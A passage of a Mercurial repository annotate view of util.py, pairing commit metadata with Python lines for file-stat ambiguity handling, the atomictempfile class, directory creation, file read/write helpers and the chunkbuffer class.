b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2043 This skips avoiding ambiguity, if a process doesn't have
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2044 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2045 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2046
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2047 Otherwise, this returns True, as "ambiguity is avoided".
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2048 """
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	2049 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2050 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2051 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2052 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2053 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2054 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2055 # if a process doesn't have appropriate privileges
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2056 return False
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2057 raise
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2058 return True
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2059
29298 82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2060 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2061 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2062
8778 c5f36402daad use new style classes Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8631 diff changeset	2063 class atomictempfile(object):
17424 e7cfe3587ea4 fix trivial spelling errors Mads Kiilerich <mads@kiilerich.com> parents: 17391 diff changeset	2064 '''writable file object that atomically updates a file
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2065
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2066 All writes will go to a temporary copy of the original file. Call
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2067 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2068 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2069 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2070 writes are discarded.
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2071
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2072 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2073 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2074 or repo.wlock).
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2075 '''
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2076 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2077 self.__name = name # permanent name
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2078 self._tempname = mktempcopy(name, emptyok=('w' in mode),
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2079 createmode=createmode)
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2080 self._fp = posixfile(self._tempname, mode)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2081 self._checkambig = checkambig
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2082
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2083 # delegated methods
29393 50269a4dce61 atomictempfile: add read to the supported file operations Martijn Pieters <mjpieters@fb.com> parents: 29367 diff changeset	2084 self.read = self._fp.read
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2085 self.write = self._fp.write
17237 e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2086 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2087 self.tell = self._fp.tell
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2088 self.fileno = self._fp.fileno
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2089
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2090 def close(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2091 if not self._fp.closed:
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2092 self._fp.close()
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2093 filename = localpath(self.__name)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2094 oldstat = self._checkambig and filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2095 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2096 rename(self._tempname, filename)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2097 newstat = filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2098 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2099 # stat of changed file is ambiguous to original one
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	2100 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2101 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2102 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2103 rename(self._tempname, filename)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2104
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2105 def discard(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2106 if not self._fp.closed:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2107 try:
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2108 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2109 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2110 pass
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2111 self._fp.close()
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2112
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2113 def __del__(self):
14968 b7dbe957585c util: use safehasattr or getattr instead of hasattr Augie Fackler <durin42@gmail.com> parents: 14942 diff changeset	2114 if safehasattr(self, '_fp'): # constructor actually did something
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2115 self.discard()
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2116
29394 6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2117 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2118 return self
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2119
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2120 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2121 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2122 self.discard()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2123 else:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2124 self.close()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2125
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2126 def unlinkpath(f, ignoremissing=False, rmdir=True):
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2127 """unlink and remove the directory if it is empty"""
31547 bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2128 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2129 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2130 else:
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2131 unlink(f)
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2132 if rmdir:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2133 # try removing directories that might now be empty
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2134 try:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2135 removedirs(os.path.dirname(f))
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2136 except OSError:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2137 pass
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2138
31546 6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2139 def tryunlink(f):
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2140 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2141 try:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2142 unlink(f)
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2143 except OSError as e:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2144 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2145 raise
6d5b77abf306 util: add tryunlink function Ryan McElroy <rmcelroy@fb.com> parents: 31545 diff changeset	2146
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2147 def makedirs(name, mode=None, notindexed=False):
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2148 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2149
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2150 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2151 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2152 for "write" mode access.
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2153 """
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2154 try:
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2155 makedir(name, notindexed)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2156 except OSError as err:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2157 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2158 return
15058 81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2159 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2160 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2161 parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs Adrian Buehlmann <adrian@cadifra.com> parents: 15057 diff changeset	2162 if parent == name:
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	2163 raise
18938 e22107cff6bf util: add notindexed optional parameter to makedirs function Angel Ezquerra <angel.ezquerra@gmail.com> parents: 18930 diff changeset	2164 makedirs(parent, mode, notindexed)
29017 07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2165 try:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2166 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2167 except OSError as err:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2168 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2169 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2170 return
07be86828e79 util: fix race in makedirs() Adam Simpkins <simpkins@fb.com> parents: 28883 diff changeset	2171 raise
18678 423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2172 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races Bryan O'Sullivan <bryano@fb.com> parents: 18668 diff changeset	2173 os.chmod(name, mode)
18668 4034b8d551b1 scmutil: create directories in a race-safe way during update Bryan O'Sullivan <bryano@fb.com> parents: 18614 diff changeset	2174
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2175 def readfile(path):
27778 4d10600c3f08 util: simplify file I/O functions using context managers Bryan O'Sullivan <bryano@fb.com> parents: 27768 diff changeset	2176 with open(path, 'rb') as fp:
14100 3e9e02a41dfb util: really drop size from readfile Matt Mackall <mpm@selenic.com> parents: 14099 diff changeset	2177 return fp.read()
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2178
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2179 def writefile(path, text):
27778 4d10600c3f08 util: simplify file I/O functions using context managers Bryan O'Sullivan <bryano@fb.com> parents: 27768 diff changeset	2180 with open(path, 'wb') as fp:
14167 0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2181 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2182
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14147 diff changeset	2183 def appendfile(path, text):
27778 4d10600c3f08 util: simplify file I/O functions using context managers Bryan O'Sullivan <bryano@fb.com> parents: 27768 diff changeset	2184 with open(path, 'ab') as fp:
14099 0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2185 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 14077 diff changeset	2186
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2187 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2188 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2189 iterator over chunks of arbitrary size."""
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2190
5446 fa836e050c50 chunkbuffer: removed unused method and arg Matt Mackall <mpm@selenic.com> parents: 5420 diff changeset	2191 def __init__(self, in_iter):
32176 5f53c267e362 util: remove doc of long gone 'targetsize' argument Martin von Zweigbergk <martinvonz@google.com> parents: 31952 diff changeset	2192 """in_iter is the iterator that's iterating over the input chunks."""
11670 1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2193 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2194 for chunk in chunks:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2195 if len(chunk) > 2**20:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2196 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2197 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2198 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2199 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2200 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2201 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2202 yield chunk
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 11668 diff changeset	2203 self.iter = splitbig(in_iter)
25113 0ca8410ea345 util: drop alias for collections.deque Martin von Zweigbergk <martinvonz@google.com> parents: 25112 diff changeset	2204 self._queue = collections.deque()
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2205 self._chunkoffset = 0
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2206
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2207 def read(self, l=None):
1200 333de1d53846 Minor cleanups. Bryan O'Sullivan <bos@serpentine.com> parents: 1199 diff changeset	2208 """Read L bytes of data from the iterator of chunks of data.
21018 c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2209 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read() Pierre-Yves David <pierre-yves.david@fb.com> parents: 20835 diff changeset	2210
23139 e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23097 diff changeset	2211 If size parameter is omitted, read everything"""
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2212 if l is None:
a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2213 return ''.join(self.iter)
a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2214
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2215 left = l
17962 4c29668ca316 util: make chunkbuffer non-quadratic on Windows Matt Mackall <mpm@selenic.com> parents: 17560 diff changeset	2216 buf = []
16873 37e081609828 util: simplify queue management in chunkbuffer Bryan O'Sullivan <bryano@fb.com> parents: 16834 diff changeset	2217 queue = self._queue
26478 a3f7e5461dbd util.chunkbuffer: special case reading everything Gregory Szorc <gregory.szorc@gmail.com> parents: 26450 diff changeset	2218 while left > 0:
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2219 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2220 if not queue:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2221 target = 2**18
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2222 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2223 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2224 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2225 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2226 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2227 if not queue:
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2228 break
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2229
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2230 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2231 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2232 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2233 # mutations and creates a new str for the remaining chunk in the
